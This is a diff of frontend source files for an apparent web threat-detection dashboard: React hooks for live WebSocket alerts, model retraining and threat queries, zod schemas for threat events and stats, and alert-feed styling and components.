{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}

View File

@ -0,0 +1,35 @@
// ===================
// © AngelaMos | 2026
// App.tsx
// ===================
import { QueryClientProvider } from '@tanstack/react-query'
import { ReactQueryDevtools } from '@tanstack/react-query-devtools'
import { RouterProvider } from 'react-router-dom'
import { Toaster } from 'sonner'
import { queryClient } from '@/core/api'
import { router } from '@/core/app/routers'
export default function App(): React.ReactElement {
return (
<QueryClientProvider client={queryClient}>
<div className="app">
<RouterProvider router={router} />
<Toaster
position="top-right"
duration={2000}
theme="dark"
toastOptions={{
style: {
background: 'hsl(0, 0%, 12.2%)',
border: '1px solid hsl(0, 0%, 18%)',
color: 'hsl(0, 0%, 98%)',
},
}}
/>
</div>
<ReactQueryDevtools initialIsOpen={false} />
</QueryClientProvider>
)
}

View File

@ -0,0 +1,9 @@
// ===================
// © AngelaMos | 2026
// index.ts
// ===================
export * from './useAlerts'
export * from './useModels'
export * from './useStats'
export * from './useThreats'

View File

@ -0,0 +1,103 @@
// ===================
// © AngelaMos | 2026
// useAlerts.ts
// ===================
import { useEffect, useRef } from 'react'
import { create } from 'zustand'
import { type WebSocketAlert, WebSocketAlertSchema } from '@/api/types'
import { ALERTS, WS_ENDPOINTS } from '@/config'
interface AlertState {
alerts: WebSocketAlert[]
isConnected: boolean
connectionError: string | null
addAlert: (alert: WebSocketAlert) => void
setConnected: (connected: boolean) => void
setError: (error: string | null) => void
clear: () => void
}
const useAlertStore = create<AlertState>()((set) => ({
alerts: [],
isConnected: false,
connectionError: null,
addAlert: (alert) =>
set((state) => ({
alerts: [alert, ...state.alerts].slice(0, ALERTS.MAX_ITEMS),
})),
setConnected: (connected) =>
set({ isConnected: connected, connectionError: null }),
setError: (error) => set({ isConnected: false, connectionError: error }),
clear: () => set({ alerts: [], isConnected: false, connectionError: null }),
}))
function getWsUrl(): string {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
return `${protocol}//${window.location.host}${WS_ENDPOINTS.ALERTS}`
}
export function useAlerts() {
const wsRef = useRef<WebSocket | null>(null)
const retryCountRef = useRef(0)
const retryTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)
const { alerts, isConnected, connectionError } = useAlertStore()
const { addAlert, setConnected, setError, clear } = useAlertStore()
useEffect(() => {
function connect() {
const ws = new WebSocket(getWsUrl())
wsRef.current = ws
ws.onopen = () => {
retryCountRef.current = 0
setConnected(true)
}
ws.onmessage = (event) => {
const parsed = WebSocketAlertSchema.safeParse(JSON.parse(event.data))
if (parsed.success) {
addAlert(parsed.data)
}
}
ws.onclose = () => {
setConnected(false)
scheduleReconnect()
}
ws.onerror = () => {
setError('WebSocket connection failed')
ws.close()
}
}
function scheduleReconnect() {
const delay = Math.min(
ALERTS.RECONNECT_BASE_MS * 2 ** retryCountRef.current,
ALERTS.RECONNECT_MAX_MS
)
retryCountRef.current += 1
retryTimerRef.current = setTimeout(connect, delay)
}
connect()
return () => {
if (retryTimerRef.current) {
clearTimeout(retryTimerRef.current)
}
if (wsRef.current) {
wsRef.current.close()
}
clear()
}
}, [addAlert, setConnected, setError, clear])
return { alerts, isConnected, connectionError }
}

View File

@ -0,0 +1,43 @@
// ===================
// © AngelaMos | 2026
// useModels.ts
// ===================
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
import { toast } from 'sonner'
import type { ModelStatus, RetrainResponse } from '@/api/types'
import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
import { apiClient, QUERY_STRATEGIES } from '@/core/api'
export function useModelStatus() {
return useQuery<ModelStatus>({
queryKey: QUERY_KEYS.MODELS.STATUS(),
queryFn: async () => {
const { data } = await apiClient.get<ModelStatus>(
API_ENDPOINTS.MODELS.STATUS
)
return data
},
...QUERY_STRATEGIES.standard,
})
}
export function useRetrain() {
const queryClient = useQueryClient()
return useMutation<RetrainResponse>({
mutationFn: async () => {
const { data } = await apiClient.post<RetrainResponse>(
API_ENDPOINTS.MODELS.RETRAIN
)
return data
},
onSuccess: () => {
toast.success('Retraining started')
queryClient.invalidateQueries({ queryKey: QUERY_KEYS.MODELS.ALL })
},
onError: () => {
toast.error('Failed to start retraining')
},
})
}

View File

@ -0,0 +1,22 @@
// ===================
// © AngelaMos | 2026
// useStats.ts
// ===================
import { useQuery } from '@tanstack/react-query'
import type { StatsResponse } from '@/api/types'
import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
import { apiClient, QUERY_STRATEGIES } from '@/core/api'
export function useStats(range = '24h') {
return useQuery<StatsResponse>({
queryKey: QUERY_KEYS.STATS.BY_RANGE(range),
queryFn: async () => {
const { data } = await apiClient.get<StatsResponse>(API_ENDPOINTS.STATS, {
params: { range },
})
return data
},
...QUERY_STRATEGIES.frequent,
})
}

View File

@ -0,0 +1,52 @@
// ===================
// © AngelaMos | 2026
// useThreats.ts
// ===================
import { useQuery } from '@tanstack/react-query'
import type { ThreatEvent, ThreatList } from '@/api/types'
import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config'
import { apiClient, QUERY_STRATEGIES } from '@/core/api'
interface ThreatParams {
limit?: number
offset?: number
severity?: 'HIGH' | 'MEDIUM' | 'LOW'
source_ip?: string
since?: string
until?: string
}
export function useThreats(params: ThreatParams = {}) {
const queryParams = {
limit: params.limit ?? PAGINATION.DEFAULT_LIMIT,
offset: params.offset ?? 0,
...params,
}
return useQuery<ThreatList>({
queryKey: QUERY_KEYS.THREATS.LIST(queryParams),
queryFn: async () => {
const { data } = await apiClient.get<ThreatList>(
API_ENDPOINTS.THREATS.LIST,
{ params: queryParams }
)
return data
},
...QUERY_STRATEGIES.frequent,
})
}
export function useThreat(id: string | null) {
return useQuery<ThreatEvent>({
queryKey: QUERY_KEYS.THREATS.BY_ID(id ?? ''),
queryFn: async () => {
const { data } = await apiClient.get<ThreatEvent>(
API_ENDPOINTS.THREATS.BY_ID(id as string)
)
return data
},
enabled: id !== null,
...QUERY_STRATEGIES.standard,
})
}

View File

@ -0,0 +1,7 @@
// ===================
// © AngelaMos | 2026
// index.ts
// ===================
export * from './hooks'
export * from './types'

View File

@ -0,0 +1,9 @@
// ===================
// © AngelaMos | 2026
// index.ts
// ===================
export * from './models.types'
export * from './stats.types'
export * from './threats.types'
export * from './websocket.types'

View File

@ -0,0 +1,29 @@
// ===================
// © AngelaMos | 2026
// models.types.ts
// ===================
import { z } from 'zod'
export const ActiveModelSchema = z.object({
model_type: z.string(),
version: z.string(),
training_samples: z.number().int(),
metrics: z.record(z.string(), z.number()),
threshold: z.number().nullable(),
})
export const ModelStatusSchema = z.object({
models_loaded: z.boolean(),
detection_mode: z.string(),
active_models: z.array(ActiveModelSchema),
})
export const RetrainResponseSchema = z.object({
status: z.string(),
job_id: z.string(),
})
export type ActiveModel = z.infer<typeof ActiveModelSchema>
export type ModelStatus = z.infer<typeof ModelStatusSchema>
export type RetrainResponse = z.infer<typeof RetrainResponseSchema>

View File

@ -0,0 +1,36 @@
// ===================
// © AngelaMos | 2026
// stats.types.ts
// ===================
import { z } from 'zod'
export const SeverityBreakdownSchema = z.object({
high: z.number().int(),
medium: z.number().int(),
low: z.number().int(),
})
export const IPStatEntrySchema = z.object({
source_ip: z.string(),
count: z.number().int(),
})
export const PathStatEntrySchema = z.object({
path: z.string(),
count: z.number().int(),
})
export const StatsResponseSchema = z.object({
time_range: z.string(),
threats_stored: z.number().int(),
threats_detected: z.number().int(),
severity_breakdown: SeverityBreakdownSchema,
top_source_ips: z.array(IPStatEntrySchema),
top_attacked_paths: z.array(PathStatEntrySchema),
})
export type SeverityBreakdown = z.infer<typeof SeverityBreakdownSchema>
export type IPStatEntry = z.infer<typeof IPStatEntrySchema>
export type PathStatEntry = z.infer<typeof PathStatEntrySchema>
export type StatsResponse = z.infer<typeof StatsResponseSchema>

View File

@ -0,0 +1,43 @@
// ===================
// © AngelaMos | 2026
// threats.types.ts
// ===================
import { z } from 'zod'
export const GeoInfoSchema = z.object({
country: z.string().nullable(),
city: z.string().nullable(),
lat: z.number().nullable(),
lon: z.number().nullable(),
})
export const ThreatEventSchema = z.object({
id: z.string().uuid(),
created_at: z.string(),
source_ip: z.string(),
request_method: z.string(),
request_path: z.string(),
status_code: z.number().int(),
response_size: z.number().int(),
user_agent: z.string(),
threat_score: z.number(),
severity: z.literal(['HIGH', 'MEDIUM', 'LOW']),
component_scores: z.record(z.string(), z.number()),
geo: GeoInfoSchema,
matched_rules: z.array(z.string()).nullable(),
model_version: z.string().nullable(),
reviewed: z.boolean(),
review_label: z.string().nullable(),
})
export const ThreatListSchema = z.object({
total: z.number().int(),
limit: z.number().int(),
offset: z.number().int(),
items: z.array(ThreatEventSchema),
})
export type GeoInfo = z.infer<typeof GeoInfoSchema>
export type ThreatEvent = z.infer<typeof ThreatEventSchema>
export type ThreatList = z.infer<typeof ThreatListSchema>

View File

@ -0,0 +1,18 @@
// ===================
// © AngelaMos | 2026
// websocket.types.ts
// ===================
import { z } from 'zod'
export const WebSocketAlertSchema = z.object({
event: z.literal('threat'),
timestamp: z.string(),
source_ip: z.string(),
request_path: z.string(),
threat_score: z.number(),
severity: z.string(),
component_scores: z.record(z.string(), z.number()),
})
export type WebSocketAlert = z.infer<typeof WebSocketAlertSchema>

View File

@ -0,0 +1,93 @@
// ===================
// © AngelaMos | 2026
// alert-feed.module.scss
// ===================
@use '@/styles/tokens' as *;
.feed {
display: flex;
flex-direction: column;
background: $bg-surface-100;
border: 1px solid $border-muted;
border-radius: $radius-lg;
overflow: hidden;
}
.header {
display: flex;
align-items: center;
justify-content: space-between;
padding: $space-4 $space-5;
border-bottom: 1px solid $border-muted;
}
.title {
font-size: $font-size-sm;
font-weight: $font-weight-medium;
color: $text-default;
margin: 0;
}
.status {
width: 8px;
height: 8px;
border-radius: $radius-full;
}
.connected {
background: $severity-low;
}
.disconnected {
background: $severity-high;
}
.list {
overflow-y: auto;
max-height: 400px;
}
.row {
display: grid;
grid-template-columns: 80px 130px 1fr auto 60px;
gap: $space-3;
align-items: center;
padding: $space-2-5 $space-5;
border-bottom: 1px solid $border-muted;
font-size: $font-size-xs;
&:last-child {
border-bottom: none;
}
}
.time {
color: $text-lighter;
font-variant-numeric: tabular-nums;
}
.ip {
color: $text-light;
font-family: monospace;
}
.path {
color: $text-light;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.score {
color: $text-lighter;
text-align: right;
font-variant-numeric: tabular-nums;
}
.empty {
padding: $space-10;
text-align: center;
color: $text-muted;
font-size: $font-size-sm;
}

View File

@ -0,0 +1,70 @@
// ===================
// © AngelaMos | 2026
// alert-feed.tsx
// ===================
import { useEffect, useRef } from 'react'
import type { WebSocketAlert } from '@/api/types'
import styles from './alert-feed.module.scss'
import { SeverityBadge } from './severity-badge'
interface AlertFeedProps {
alerts: WebSocketAlert[]
isConnected: boolean
maxHeight?: string
}
function formatTime(timestamp: string): string {
return new Date(timestamp).toLocaleTimeString()
}
export function AlertFeed({
alerts,
isConnected,
maxHeight,
}: AlertFeedProps): React.ReactElement {
const listRef = useRef<HTMLDivElement>(null)
const alertCount = alerts.length
// biome-ignore lint/correctness/useExhaustiveDependencies: scroll on new alerts
useEffect(() => {
if (listRef.current) {
listRef.current.scrollTop = 0
}
}, [alertCount])
return (
<div className={styles.feed}>
<div className={styles.header}>
<h3 className={styles.title}>Live Alerts</h3>
<span
className={`${styles.status} ${isConnected ? styles.connected : styles.disconnected}`}
/>
</div>
<div
ref={listRef}
className={styles.list}
style={maxHeight ? { maxHeight } : undefined}
>
{alerts.length === 0 ? (
<div className={styles.empty}>Waiting for alerts...</div>
) : (
alerts.map((alert, i) => (
<div key={`${alert.timestamp}-${i}`} className={styles.row}>
<span className={styles.time}>{formatTime(alert.timestamp)}</span>
<span className={styles.ip}>{alert.source_ip}</span>
<span className={styles.path}>{alert.request_path}</span>
<SeverityBadge
severity={alert.severity as 'HIGH' | 'MEDIUM' | 'LOW'}
/>
<span className={styles.score}>
{alert.threat_score.toFixed(2)}
</span>
</div>
))
)}
</div>
</div>
)
}

View File

@ -0,0 +1,9 @@
// ===================
// © AngelaMos | 2026
// index.tsx
// ===================
export { AlertFeed } from './alert-feed'
export { SeverityBadge } from './severity-badge'
export { StatCard } from './stat-card'
export { ThreatDetail } from './threat-detail'

View File

@ -0,0 +1,33 @@
// ===================
// © AngelaMos | 2026
// severity-badge.module.scss
// ===================
@use '@/styles/tokens' as *;
.badge {
display: inline-flex;
align-items: center;
padding: $space-0-5 $space-2;
border-radius: $radius-full;
font-size: $font-size-2xs;
font-weight: $font-weight-semibold;
letter-spacing: $tracking-wider;
line-height: $line-height-none;
text-transform: uppercase;
}
.high {
color: $severity-high;
background: $severity-high-bg;
}
.medium {
color: $severity-medium;
background: $severity-medium-bg;
}
.low {
color: $severity-low;
background: $severity-low-bg;
}

Some files were not shown because too many files have changed in this diff Show More